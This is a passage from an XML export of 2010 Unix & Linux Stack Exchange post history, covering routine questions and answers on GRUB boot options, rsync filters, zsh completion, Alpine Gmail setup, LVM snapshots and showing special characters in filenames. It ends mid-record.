  <row Id="4453" PostHistoryTypeId="2" PostId="2167" RevisionGUID="4fa5dc92-c972-4d93-bd91-a0b5aa798a95" CreationDate="2010-09-16T16:27:31.397" UserId="1327" Text="It sounds like you are using *[Grub 2][1]*. I haven't tried it, but acording to this **[article][2]**.  You will need to change `/etc/default/grub`, so that the line :&#xD;&#xA;&#xD;&#xA;    GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash&quot; &#xD;&#xA;&#xD;&#xA;becomes:&#xD;&#xA;&#xD;&#xA;    GRUB_CMDLINE_LINUX_DEFAULT=&quot;&quot; &#xD;&#xA;&#xD;&#xA;in other words...&#xD;&#xA;&#xD;&#xA;remove &quot;quiet&quot; and &quot;splash&quot; from the `GRUB_CMDLINE_LINUX_DEFAULT` variable.&#xD;&#xA;&#xD;&#xA; [1]:https://wiki.ubuntu.com/Grub2&#xD;&#xA; [2]:https://help.ubuntu.com/community/Grub2" />
  <row Id="4454" PostHistoryTypeId="5" PostId="2165" RevisionGUID="d7f9719c-cecf-4d20-b24a-f5a16a76372d" CreationDate="2010-09-16T16:43:20.390" UserId="26" Comment="added 3 characters in body" Text="How about this:&#xD;&#xA;&#xD;&#xA;    rsync -avn --include=&quot;*.pdf&quot; ~/Latex/ ~/Output/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4455" PostHistoryTypeId="5" PostId="2158" RevisionGUID="f143a618-3166-427a-98ba-0bed7ade08c7" CreationDate="2010-09-16T16:44:17.613" UserDisplayName="Alain" Comment="added 46 characters in body" Text="There is a way to use &lt;kbd&gt;Ctrl-R&lt;/kbd&gt; with **tcsh**. Add the following in your &lt;code&gt;~/.cshrc&lt;/code&gt;: &#xD;&#xA;&#xD;&#xA;&lt;code&gt;bindkey &quot;^r&quot; i-search-back&lt;/code&gt;  (it is just a caret sign and the letter r)&#xD;&#xA;&#xD;&#xA;That's the biggest time saver for me." />
  <row Id="4456" PostHistoryTypeId="2" PostId="2168" RevisionGUID="3edf568d-15a9-44b0-98fd-57a75918d704" CreationDate="2010-09-16T16:46:05.037" UserId="452" Text="I used KRec to record some voice but when I played it back I got nothing, what are the things I need to do to figure out where the problem is? My computer is a Dell OptiPlex DX620, Intel Pentium 4 3.00 GHz.&#xD;&#xA;&#xD;&#xA;    $ cat /etc/fedora-release&#xD;&#xA;    Fedora release 7 (Moonshine)" />
  <row Id="4457" PostHistoryTypeId="1" PostId="2168" RevisionGUID="3edf568d-15a9-44b0-98fd-57a75918d704" CreationDate="2010-09-16T16:46:05.037" UserId="452" Text="Voice recording does not work, how to diagnose?" />
  <row Id="4458" PostHistoryTypeId="3" PostId="2168" RevisionGUID="3edf568d-15a9-44b0-98fd-57a75918d704" CreationDate="2010-09-16T16:46:05.037" UserId="452" Text="éfedoraà" />
  <row Id="4459" PostHistoryTypeId="2" PostId="2169" RevisionGUID="649f23cf-4881-401c-9fca-9fd79d3cd997" CreationDate="2010-09-16T17:25:22.787" UserId="102" Text="If you use a pattern like `*.pdf`, the shell “expands“ that pattern, i.e. it replaces the pattern with all matches in the current directory. The command you are running (in this case rsync) is unaware of the fact that you tried to use a pattern.&#xD;&#xA;&#xD;&#xA;When you are using **zsh**, there is an easy solution, though: The `**` pattern can be used to match folders recursively. Try this:&#xD;&#xA;&#xD;&#xA;    rsync -avn **/*.pdf ~/LaTeX/ ~/Output/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="4460" PostHistoryTypeId="5" PostId="2168" RevisionGUID="f3dcba7f-edc3-4399-9238-f964f7aa137d" CreationDate="2010-09-16T17:39:30.107" UserId="73" Comment="deleted 38 characters in body; edited tags; edited title" Text="I used KRec to record some audio, but when I played it back I got nothing. What are the things I need to do to figure out where the problem is? My computer is a Dell OptiPlex DX620, Intel Pentium 4 3.00 GHz running Fedora 7 (Moonshine)" />
  <row Id="4461" PostHistoryTypeId="4" PostId="2168" RevisionGUID="f3dcba7f-edc3-4399-9238-f964f7aa137d" CreationDate="2010-09-16T17:39:30.107" UserId="73" Comment="deleted 38 characters in body; edited tags; edited title" Text="Audio recording does not work -- how to diagnose?" />
  <row Id="4462" PostHistoryTypeId="6" PostId="2168" RevisionGUID="f3dcba7f-edc3-4399-9238-f964f7aa137d" CreationDate="2010-09-16T17:39:30.107" UserId="73" Comment="deleted 38 characters in body; edited tags; edited title" Text="éfedoraàéaudioàérecordingà" />
  <row Id="4463" PostHistoryTypeId="2" PostId="2170" RevisionGUID="0dbc2d4b-e075-4218-b3bc-5e41d79fe3b0" CreationDate="2010-09-16T19:01:06.513" UserId="1820" Text="Judging by the &quot;INCLUDE/EXCLUDE PATTERN RULES&quot; section of the [manpage][1], the way to do this is&#xD;&#xA;&#xD;&#xA;    rsync -avn --include=&quot;*/&quot; --include=&quot;*.pdf&quot; ~/Latex/ ~/Output/&#xD;&#xA;&#xD;&#xA;The critical difference between this and kbrd's answer is the `--include=&quot;*/&quot;` flag, which tells rsync to go ahead and copy any directories it finds, whatever they are named. This is needed because rsync will not recurse into a subdirectory unless it has been instructed to copy that subdirectory.&#xD;&#xA;&#xD;&#xA;Also, note that the quotation marks prevent the shell from trying to expand the patterns to filenames relative to the current directory, and doing one of the following:&#xD;&#xA;&#xD;&#xA;1. Succeeding and messing up your filter (not too likely in the middle of a flag like that, though you really never know when someone will make a file named `--include=foo.pdf` ...)&#xD;&#xA;&#xD;&#xA;2. Failing, and potentially producing an error instead of running the command (as you've discovered zsh does by default).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.samba.org/ftp/rsync/rsync.html" />
  <row Id="4464" PostHistoryTypeId="5" PostId="2169" RevisionGUID="86c6718a-7108-4491-bd59-2c5c12ad93fe" CreationDate="2010-09-16T19:07:29.817" UserId="102" Comment="deleted 3 characters in body" Text="If you use a pattern like `*.pdf`, the shell “expands“ that pattern, i.e. it replaces the pattern with all matches in the current directory. The command you are running (in this case rsync) is unaware of the fact that you tried to use a pattern.&#xD;&#xA;&#xD;&#xA;When you are using **zsh**, there is an easy solution, though: The `**` pattern can be used to match folders recursively. Try this:&#xD;&#xA;&#xD;&#xA;    rsync -avn ~/LaTeX/**/*.pdf ~/Output/&#xD;&#xA;&#xD;&#xA; " />
  <row Id="4465" PostHistoryTypeId="2" PostId="2171" RevisionGUID="1c68eede-0ce1-4b89-a31c-e69b5fedaa75" CreationDate="2010-09-16T19:28:53.357" UserId="1820" Text="Did you remember to check the volume settings? It looks like the program for this in KDE is `kmix`.&#xD;&#xA;&#xD;&#xA;(Yes, I know this is like asking if you remembered to plug in your computer and connect your monitor when you complain that the screen is blank, but everyone misses those steps once in a while...)" />
  <row Id="4466" PostHistoryTypeId="2" PostId="2172" RevisionGUID="f62c41b0-804c-4ff2-9954-56913b299981" CreationDate="2010-09-16T19:53:42.663" UserId="1752" Text="If someone like me wonders why `&lt;(cmd1) &lt;(cmd2)` syntax works (as it sounds like redirecting standard input twice!), try `echo hello &lt;(cmd1) &lt;(cmd2)`.  You'll see something like `hello /dev/fd/63 /dev/fd/62` which suddenly makes it clear ;)" />
  <row Id="4468" PostHistoryTypeId="5" PostId="2162" RevisionGUID="8c7be187-8375-49a7-88cd-1d7f96e623bb" CreationDate="2010-09-16T21:06:02.727" UserId="29" Comment="change staff to stuff... seems like a typo" Text="I want to be able to see all stuff from the boot process, just like in Debian.&#xD;&#xA;&#xD;&#xA;I instaled `startupmanager` but It only change boot screen to more ugly.&#xD;&#xA;&#xD;&#xA;I search google and find that you must remove &quot;quiet&quot; from /boot/grub/menu.lst but I don't have that file on my system." />
  <row Id="4469" PostHistoryTypeId="5" PostId="2001" RevisionGUID="c00926db-7d48-461a-b8fd-73c32614f631" CreationDate="2010-09-16T22:24:34.653" UserId="1465" Comment="added 33 characters in body" Text="The default pager for reading a man page is `less`. There is documentation on `less` [here][1].&#xD;&#xA;&#xD;&#xA;In particular:&#xD;&#xA;&#xD;&#xA; - Scroll up/down by one page: b/space&#xD;&#xA; - Scroll up/down by half a page: u/d&#xD;&#xA; - Searching forwards/backwards: `/` or&#xD;&#xA;   `?`, then type a regular expression,&#xD;&#xA;   then then hit n to go to the next&#xD;&#xA;   match or shift-n to go to the&#xD;&#xA;   previous match. Add an @ before the&#xD;&#xA;   regular expression to search from the&#xD;&#xA;   start.&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?less" />
  <row Id="4470" PostHistoryTypeId="2" PostId="2173" RevisionGUID="c9a19cfc-d97a-445c-8790-5991d4e97663" CreationDate="2010-09-16T23:08:15.080" UserId="392" Text="I miss using a clicky keyboard at work. It's a fairly quiet office, so I'm stuck using a nearly silent keyboard. The upshot is that I can wear headphones. Is there something in Linux or X that can respond to all keyboard events with a nice, sharp click, giving me that audio feedback? Before you think I'm crazy, I know some high-end keyboards even have speakers in them to reproduce this click for those who like the audio feedback. I'm looking for something at the operating system level." />
  <row Id="4471" PostHistoryTypeId="1" PostId="2173" RevisionGUID="c9a19cfc-d97a-445c-8790-5991d4e97663" CreationDate="2010-09-16T23:08:15.080" UserId="392" Text="Is there something that will generate keyboard's click sounds?" />
  <row Id="4472" PostHistoryTypeId="3" PostId="2173" RevisionGUID="c9a19cfc-d97a-445c-8790-5991d4e97663" CreationDate="2010-09-16T23:08:15.080" UserId="392" Text="élinuxàékeyboardàéaudioà" />
  <row Id="4473" PostHistoryTypeId="2" PostId="2174" RevisionGUID="b4b35991-8596-4831-b40a-c7c890450862" CreationDate="2010-09-16T23:28:56.380" UserDisplayName="Patrick Shanahan" Text="xset c 100 c on&#xD;&#xA;&#xD;&#xA;per their docs, but it doesn't work for me&#xD;&#xA;on openSUSE 11.2 x86_64" />
  <row Id="4474" PostHistoryTypeId="2" PostId="2175" RevisionGUID="2e36bb4c-6518-4203-80c5-74004d79e867" CreationDate="2010-09-16T23:33:23.220" UserDisplayName="Mario Moreno V" Text="I am using FreeBSD 8.1 and just installed Alpine email client. I wonder if anybody knows how to setup Alpine to get mail from a Gmail account using IMAP." />
  <row Id="4475" PostHistoryTypeId="1" PostId="2175" RevisionGUID="2e36bb4c-6518-4203-80c5-74004d79e867" CreationDate="2010-09-16T23:33:23.220" UserDisplayName="Mario Moreno V" Text="How do I setup Alpine to connect my Gmail account using IMAP?" />
  <row Id="4476" PostHistoryTypeId="3" PostId="2175" RevisionGUID="2e36bb4c-6518-4203-80c5-74004d79e867" CreationDate="2010-09-16T23:33:23.220" UserDisplayName="Mario Moreno V" Text="éfreebsdàéalpineà" />
  <row Id="4477" PostHistoryTypeId="5" PostId="2146" RevisionGUID="2175548b-b5e4-428f-ae5e-e9994b46665d" CreationDate="2010-09-17T00:17:50.357" UserId="1107" Comment="add usage line to show that it expects a pathname as an argument" Text="*ssh-keygen* can do the core of the work (generating a fingerprint from a public key), but it will not automatically process a list of multiple keys as is usually found in an `authorized_keys` file.&#xD;&#xA;&#xD;&#xA;Here is a script that splits up the keys, feeds them to *ssh-keygen* and produces the table you want:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;&#xD;&#xA;    # usage: authkeys-report &lt;authorized_keys-file&gt;    &#xD;&#xA;&#xD;&#xA;    set -ue&#xD;&#xA;    &#xD;&#xA;    tmp=&quot;$(mktemp -t fingerprint-authkeys.XXXXXXXX)&quot;&#xD;&#xA;    trap 'rm -f &quot;$tmp&quot;' 0&#xD;&#xA;    &#xD;&#xA;    while read opts key; do&#xD;&#xA;        case &quot;$opts&quot; in&#xD;&#xA;            [0-9]*|ssh-dss|ssh-rsa)&#xD;&#xA;                # not options, first &quot;word&quot; is part of key&#xD;&#xA;                key=&quot;$opts $key&quot;&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;        echo &quot;$key&quot; &gt;$tmp&#xD;&#xA;        set -- $(ssh-keygen -lf &quot;$tmp&quot;)&#xD;&#xA;        bits=&quot;$1&quot; fingerprint=&quot;$2&quot;&#xD;&#xA;    &#xD;&#xA;        set -- $key # Note: will mangle whitespace in the comment&#xD;&#xA;        case &quot;$1&quot; in&#xD;&#xA;            [0-9]*) # SSH v1 key&#xD;&#xA;                type=rsa1&#xD;&#xA;                shift 3&#xD;&#xA;            ;;&#xD;&#xA;            ssh-rsa|ssh-dss) # SSH v2 key&#xD;&#xA;                type=&quot;$1&quot;&#xD;&#xA;                shift 2&#xD;&#xA;            ;;&#xD;&#xA;            *)&#xD;&#xA;                type=unknown&#xD;&#xA;                set --&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;    &#xD;&#xA;        printf '%-14s %-9s %s %s\n' &quot;$type&quot; &quot;$bits&quot; &quot;$fingerprint&quot; &quot;$*&quot;&#xD;&#xA;    done &lt;$1&#xD;&#xA;" />
  <row Id="4478" PostHistoryTypeId="5" PostId="2174" RevisionGUID="ecb2c6b9-2a5f-46bd-8f00-51ab621ce918" CreationDate="2010-09-17T00:36:26.743" UserId="73" Comment="added 3 characters in body" Text="    xset c 100 c on&#xD;&#xA;&#xD;&#xA;Per their docs, but it doesn't work for me on openSUSE 11.2 x86_64" />
  <row Id="4479" PostHistoryTypeId="2" PostId="2176" RevisionGUID="4726605f-e64b-45f7-9b35-b64547fba6bc" CreationDate="2010-09-17T02:34:20.290" UserId="1207" Text="For clarity, I'm just going to give the directions in terms of what you should add to .pinerc.  You can also set all of these setting using the configuration interface if you wish.&#xD;&#xA;&#xD;&#xA;To get your mail via IMAP:&#xD;&#xA;&#xD;&#xA;    inbox-path={imap.gmail.com/ssl/user=username@gmail.com}&#xD;&#xA;&#xD;&#xA;Include this to make sure you have access to all of the various gmail folders:&#xD;&#xA;&#xD;&#xA;    folder-collections=Gmail {imap.gmail.com/ssl/user=username@gmail.com}[]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I find this useful to mimic &quot;archiving&quot;:&#xD;&#xA;&#xD;&#xA;    default-saved-msg-folder=[Gmail]/All Mail&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To send mail via gmail, you need this in .pinerc:&#xD;&#xA;&#xD;&#xA;    smtp-server=smtp.gmail.com:587/tls/user=username@gmail.com&#xD;&#xA;&#xD;&#xA;Also, I find that these two settings improve performance a lot:&#xD;&#xA;&#xD;&#xA;     rsh-open-timeout=0&#xD;&#xA;     disable-these-authenticators=GSSAPI&#xD;&#xA;&#xD;&#xA;If you want alpine to remember your password for you, you can run this command in your home directory:&#xD;&#xA;&#xD;&#xA;     touch .pine-passfile&#xD;&#xA;&#xD;&#xA;The first time you use alpine after running this command, you will be asked whether you want to save your password for later use each time you enter one." />
  <row Id="4480" PostHistoryTypeId="5" PostId="2114" RevisionGUID="bd663d12-1f26-4623-a039-e3c2b5fa3893" CreationDate="2010-09-17T04:05:40.413" UserId="1779" Comment="added 1019 characters in body" Text="There is a new dm target called &quot;snapshot-merge&quot;.&#xD;&#xA;&#xD;&#xA;If you format your USB flash memory as a LVM physical volume, and then locate your desired filesystem atop it in a logical volume, you can&#xD;&#xA;&#xD;&#xA; 1. Activate a volume group containing your USB flash memory and another LVM physical volume on a local disk.&#xD;&#xA; 2. Create a snapshot of the logical volume on the local disk.&#xD;&#xA; 3. Mount the snapshot, do whatever you want with it, then umount it.&#xD;&#xA; 4. Merge the snapshot back to the origin.&#xD;&#xA;&#xD;&#xA;This should achieve close to what you've asked for, although it requires a scratch block device rather than a temporary directory.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Substitute the parts enclosed in {braces} as appropriate.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# Initial setup of the USB drive.&#xD;&#xA;pvcreate /dev/{USB}&#xD;&#xA;vgcreate {removable} /dev/{USB}&#xD;&#xA;lvcreate -n {base} -l 100%PVS {removable} /dev/{USB}&#xD;&#xA;mkfs -t {fs} {...} /dev/mapper/{removable}-{base}&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# Initial setup of the scratch device.&#xD;&#xA;pvcreate /dev/{SCRATCH}&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# Mounting the device.&#xD;&#xA;vgextend {removable} /dev/{SCRATCH}&#xD;&#xA;lvcreate -s -n {snap} -l 100%ORIGIN /dev/mapper/{removable}-{base} /dev/{SCRATCH}&#xD;&#xA;mount -t {fs} -o {...} /dev/mapper/{removable}-{snap} {MOUNTPOINT}&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# Unmounting the device.&#xD;&#xA;umount {MOUNTPOINT}&#xD;&#xA;lvconvert --merge /dev/mapper/{removable}-{snap}&#xD;&#xA;vgreduce {removable} /dev/{SCRATCH}&#xD;&#xA;vgchange -a n {removable}&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Untested, but all the LVM commands have manpages so you should be able to figure things out from here.  You might need a `vgscan` invocation in there somewhere, if the volume group doesn't get automatically detected when you plug the USB drive in." />
  <row Id="4481" PostHistoryTypeId="2" PostId="2177" RevisionGUID="4d1b3318-caba-43bf-830b-d2cf674a1eda" CreationDate="2010-09-17T04:30:18.280" UserId="225" Text="You might also need to select the input device. Those controls are usually in extended settings in your mixer." />
  <row Id="4486" PostHistoryTypeId="2" PostId="2179" RevisionGUID="0f423013-daa8-4379-ab3d-34807b756e41" CreationDate="2010-09-17T06:50:26.527" UserId="250" Text="Hello,&#xD;&#xA;&#xD;&#xA;After installing new software, an already opened terminal with zsh won't know about the new commands, and cannot generate auto-complete for those. Apparently opening a new terminal fix the problem, but can the index (or whatever you call it) be rebuilt so that auto-complete will work on the old terminal?&#xD;&#xA;&#xD;&#xA;I tried with `compinit` but that didn't help. Also, is there a way that is not shell-dependent? It's nice to have a way to verify the answer as well (except for uninstalling something and reinstalling it)." />
  <row Id="4487" PostHistoryTypeId="1" PostId="2179" RevisionGUID="0f423013-daa8-4379-ab3d-34807b756e41" CreationDate="2010-09-17T06:50:26.527" UserId="250" Text="rebuild auto-complete index (or whatever it's called)" />
  <row Id="4488" PostHistoryTypeId="3" PostId="2179" RevisionGUID="0f423013-daa8-4379-ab3d-34807b756e41" CreationDate="2010-09-17T06:50:26.527" UserId="250" Text="ézshàéautocompleteà" />
  <row Id="4489" PostHistoryTypeId="2" PostId="2180" RevisionGUID="15788a56-3913-4cf0-a42b-8c90c7a0425c" CreationDate="2010-09-17T07:25:23.893" UserId="885" Text="To rebuild the cache of executable commands, use `rehash` or `hash -rf`.&#xD;&#xA;&#xD;&#xA;Setting the option `hash_list_all` makes zsh have an up-to-date command cache automatically in more cases.&#xD;&#xA;" />
  <row Id="4497" PostHistoryTypeId="2" PostId="2182" RevisionGUID="52ec069d-70de-471b-87a3-533921ef1c24" CreationDate="2010-09-17T09:46:17.253" UserId="57" Text="Something strange happened today.   &#xD;&#xA;I was connected to a hp server with **putty** there are two files with exact same name&#xD;&#xA;&#xD;&#xA;&gt; -rw-r--r--   1 hemantj            3368 Apr  1 12:47 test  &#xD;&#xA;&gt; -rw-r--r--   1 hemantj              20 Sep  1 12:47 test  &#xD;&#xA;&#xD;&#xA;it was very strange as you cant have files with the same name. &#xD;&#xA;&#xD;&#xA;After sometime when I was connected with FileZilla I saw there is some special  &#xD;&#xA;character at the end of the second file name.  &#xD;&#xA;&#xD;&#xA;My Question: is it possible to highlight special charterers in the file name in terminal ?&#xD;&#xA;&#xD;&#xA;I am connected to HP-UX and shell is tcsh and ksh. &#xD;&#xA;" />
  <row Id="4498" PostHistoryTypeId="1" PostId="2182" RevisionGUID="52ec069d-70de-471b-87a3-533921ef1c24" CreationDate="2010-09-17T09:46:17.253" UserId="57" Text="identifying  files with spacial characters in its name in terminal" />
  <row Id="4499" PostHistoryTypeId="3" PostId="2182" RevisionGUID="52ec069d-70de-471b-87a3-533921ef1c24" CreationDate="2010-09-17T09:46:17.253" UserId="57" Text="éterminalà" />
  <row Id="4500" PostHistoryTypeId="2" PostId="2183" RevisionGUID="fb602f5d-3835-4fac-96d5-bd4f1056a6d4" CreationDate="2010-09-17T10:20:47.290" UserId="1794" Text="this is not a real highlighting, but it might help to identify the characters:&#xD;&#xA;&#xD;&#xA;    # find . -type f -exec sh -c &quot;hexdump -C &lt;&lt;&lt;'{}'&quot; \;&#xD;&#xA;&#xD;&#xA;it might be constructed better. teach me ;)" />
  <row Id="4501" PostHistoryTypeId="2" PostId="2184" RevisionGUID="b6afc10e-6cec-4e85-afca-dbc5fa0235c8" CreationDate="2010-09-17T11:22:52.623" UserId="1107" Text="If you are having problems getting “argument completion” working for the new commands then *compinit* is probably the command you need, however it has a caching mechanism that might be causing your problem.&#xD;&#xA;&#xD;&#xA;The documentation for my version (4.3.10) says that *compinit* uses a cached “dump file”, `.zcompdump`, to store compiled completion functions to speed up subsequent invocations. It only invalidates the dump file when it notices a change in the number of completion files (`fpath` element files that start with `#compdef …` or `#autoload …`). Presumably installing new software would change the number of such completion files (assuming that it also installed its *zsh* auto-complete files in the right place), so I would expect a plain `compinit` to work. If you are in a situation where it does not work you may need to bypass or manually invalidate the dump file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To skip using the dump file, use `compinit -D`; this will only affect the current shell.&#xD;&#xA;&#xD;&#xA;To rebuild the dump file, remove it and rerun `compinit`:&#xD;&#xA;&#xD;&#xA;    rm -i ${ZDOTDIR:-${HOME:?No ZDOTDIR or HOME}}/.zcompdump &amp;&amp;&#xD;&#xA;    compinit&#xD;&#xA;&#xD;&#xA;This will affect the current shell, existing shells that run plain `compinit`, and any future shells." />
  <row Id="4502" PostHistoryTypeId="2" PostId="2185" RevisionGUID="de5cae5e-7e0e-4e8f-8c3f-b2dca303a2e6" CreationDate="2010-09-17T12:07:57.953" UserId="1832" Text="The fact that you're on HP-UX is really the problem. With the GNU tools available on most Linux distributions there are several options.&#xD;&#xA;&#xD;&#xA;There is `ls -q`, which displays special characters as '?'. Or `-b` which displays octal codes instead.&#xD;&#xA;&#xD;&#xA;Another option is `ls | cat -v`.&#xD;&#xA;&#xD;&#xA;Also `find . -type f -ls`, which displays using escape codes by default.&#xD;&#xA;&#xD;&#xA;Some of those might work on HP-UX, but I don't know." />
  <row Id="4503" PostHistoryTypeId="2" PostId="2186" RevisionGUID="1376eb0a-1fcd-47c9-807f-e9f82ece545c" CreationDate="2010-09-17T12:23:26.717" UserId="1832" Text="The allocators you mention are *userspace* allocators, entirely different to a kernel allocator. Perhaps some of the underlying concepts could be used in the kernel, but it would have to be implemented from scratch.&#xD;&#xA;&#xD;&#xA;The kernel already has 3 allocators, SLAB, SLUB, SLOB, (and there was/is SLQB). SLUB in particular is designed to work well on multi cpu systems.&#xD;&#xA;&#xD;&#xA;As always if you have ideas on how to improve the kernel your specific suggestions, preferably in the form of patches, are welcome on LKML :-)" />
  <row Id="4504" PostHistoryTypeId="2" PostId="2187" RevisionGUID="023abc36-d7bb-4cfa-b0e5-340cd9af093a" CreationDate="2010-09-17T12:34:24.910" UserId="1835" Text="If you are lucky enough to have od,&#xD;&#xA;&#xD;&#xA;    ls -1 | od -xC&#xD;&#xA;&#xD;&#xA;`ls -1` prints the filenames, separated by a newline. `od -xC` prints the input text in hexadecimal, with recognisable ascii characters displayed under each octet.&#xD;&#xA;&#xD;&#xA;Sample output for three files, named 1, 2, 3:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    0000000    310a    320a    330a&#xD;&#xA;               1  \n   2  \n   3  \n&#xD;&#xA;    0000006&#xD;&#xA;&#xD;&#xA;Sample output for two files, named 1 and '\n2':&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    0000000    0a32    0a31    0a00&#xD;&#xA;              \n   2  \n   1  \n&#xD;&#xA;    0000005&#xD;&#xA;&#xD;&#xA;Notice that there are three newlines for two files, and lexographically, &quot;\n2&quot; sorted before &quot;1&quot;." />
  <row Id="4505" PostHistoryTypeId="2" PostId="2188" RevisionGUID="5595f380-4768-4751-8811-a654748d910b" CreationDate="2010-09-17T12:42:21.240" UserId="550" Text="I use this:&#xD;&#xA;&#xD;&#xA;    ls -l | less " />
  <row Id="4506" PostHistoryTypeId="2" PostId="2189" RevisionGUID="008ea77b-84f8-46d2-abd2-2729d74efc84" CreationDate="2010-09-17T12:53:20.233" UserId="1836" Text="I am running Suse 11.2. I also have windows and ubuntu on the same machine. The problem is that I cannot get ubuntu to show as a boot option on the suse grub. The ubuntu partition is on /dev/sda5. Here is my /boot/grub/menu.lst:&#xD;&#xA;&#xD;&#xA;# Modified by YaST2. Last modification on Wed Sep 15 13:08:06 SAST 2010&#xD;&#xA;# THIS FILE WILL BE PARTIALLY OVERWRITTEN by perl-Bootloader&#xD;&#xA;# Configure custom boot parameters for updated kernels in /etc/sysconfig/bootloader&#xD;&#xA;&#xD;&#xA;default 0&#xD;&#xA;timeout 8&#xD;&#xA;##YaST - generic_mbr&#xD;&#xA;gfxmenu (hd0,2)/boot/message&#xD;&#xA;##YaST - activate&#xD;&#xA;&#xD;&#xA;###Don't change this comment - YaST2 identifier: Original name: linux###&#xD;&#xA;title Desktop -- openSUSE 11.2 - 2.6.31.12-0.2&#xD;&#xA;    root (hd0,2)&#xD;&#xA;    kernel /boot/vmlinuz-2.6.31.12-0.2-desktop root=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part3 resume=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part2 splash=silent quiet showopts vga=0x31a&#xD;&#xA;    initrd /boot/initrd-2.6.31.12-0.2-desktop&#xD;&#xA;&#xD;&#xA;###Don't change this comment - YaST2 identifier: Original name: failsafe###&#xD;&#xA;title Failsafe -- openSUSE 11.2 - 2.6.31.12-0.2&#xD;&#xA;    root (hd0,2)&#xD;&#xA;    kernel /boot/vmlinuz-2.6.31.12-0.2-desktop root=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part3 showopts apm=off noresume nosmp maxcpus=0 edd=off powersaved=off nohz=off highres=off processor.max_cstate=1 x11failsafe vga=0x31a&#xD;&#xA;    initrd /boot/initrd-2.6.31.12-0.2-desktop&#xD;&#xA;&#xD;&#xA;###Don't change this comment - YaST2 identifier: Original name: windows###&#xD;&#xA;title Windows&#xD;&#xA;    rootnoverify (hd0,0)&#xD;&#xA;    chainloader +1&#xD;&#xA;&#xD;&#xA;#Don’t change this comment – YaST2 identifier: Original name: none#&#xD;&#xA;title Ubuntu 10.04&#xD;&#xA;    root (hd0,4)&#xD;&#xA;    kernel /vmlinuz root=/dev/sda5 ro quiet splash&#xD;&#xA;    initrd /initrd.img" />
  <row Id="4507" PostHistoryTypeId="1" PostId="2189" RevisionGUID="008ea77b-84f8-46d2-abd2-2729d74efc84" CreationDate="2010-09-17T12:53:20.233" UserId="1836" Text="Cannot   add ubuntu to the suse grub" />
  <row Id="4508" PostHistoryTypeId="3" PostId="2189" RevisionGUID="008ea77b-84f8-46d2-abd2-2729d74efc84" CreationDate="2010-09-17T12:53:20.233" UserId="1836" Text="éopensuseàédualöbootà" />
  <row Id="4509" PostHistoryTypeId="2" PostId="2190" RevisionGUID="a651afdc-9a20-4fed-879b-ea142e8050f8" CreationDate="2010-09-17T13:03:26.493" UserDisplayName="manugupt1" Text="Did you try doing that from YaST-&gt;Boot Loader-&gt;Choose Image and then fill all the other options like your kernel image etc and you are done :)" />
  <row Id="4510" PostHistoryTypeId="5" PostId="2182" RevisionGUID="cc741e0e-76dc-4c71-9026-ce48d0216f21" CreationDate="2010-09-17T13:11:52.270" UserId="57" Comment="added 362 characters in body" Text="Something strange happened today.   &#xD;&#xA;I was connected to a hp server with **putty** there are two files with exact same name&#xD;&#xA;&#xD;&#xA;&gt; -rw-r--r--   1 hemantj            3368 Apr  1 12:47 test  &#xD;&#xA;&gt; -rw-r--r--   1 hemantj              20 Sep  1 12:47 test  &#xD;&#xA;&#xD;&#xA;it was very strange as you cant have files with the same name. &#xD;&#xA;&#xD;&#xA;After sometime when I was connected with FileZilla I saw there is some special  &#xD;&#xA;character at the end of the second file name.  &#xD;&#xA;&#xD;&#xA;My Question: is it possible to highlight special charterers in the file name in terminal ?&#xD;&#xA;&#xD;&#xA;I am connected to HP-UX and shell is tcsh and ksh.   &#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Thanks all for your reply but I think [Keymon][1]'s [solution][2] is the simplest and more portable.   &#xD;&#xA;+1 for all of you I learn alot from you responses :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/550/keymon&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/2182/identifying-files-with-spacial-characters-in-its-name-in-terminal/2188#2188" />
  <row Id="4511" PostHistoryTypeId="5" PostId="2189" RevisionGUID="a894aadc-68d2-484e-b2ee-c7db1924170f" CreationDate="2010-09-17T14:22:34.713" UserId="73" Comment="added 132 characters in body" Text="I am running Suse 11.2. I also have windows and ubuntu on the same machine. The problem is that I cannot get ubuntu to show as a boot option on the suse grub. The ubuntu partition is on `/dev/sda5`. Here is my `/boot/grub/menu.lst`:&#xD;&#xA;&#xD;&#xA;    # Modified by YaST2. Last modification on Wed Sep 15 13:08:06 SAST 2010&#xD;&#xA;    # THIS FILE WILL BE PARTIALLY OVERWRITTEN by perl-Bootloader&#xD;&#xA;    # Configure custom boot parameters for updated kernels in /etc/sysconfig/bootloader&#xD;&#xA;    &#xD;&#xA;    default 0&#xD;&#xA;    timeout 8&#xD;&#xA;    ##YaST - generic_mbr&#xD;&#xA;    gfxmenu (hd0,2)/boot/message&#xD;&#xA;    ##YaST - activate&#xD;&#xA;    &#xD;&#xA;    ###Don't change this comment - YaST2 identifier: Original name: linux###&#xD;&#xA;    title Desktop -- 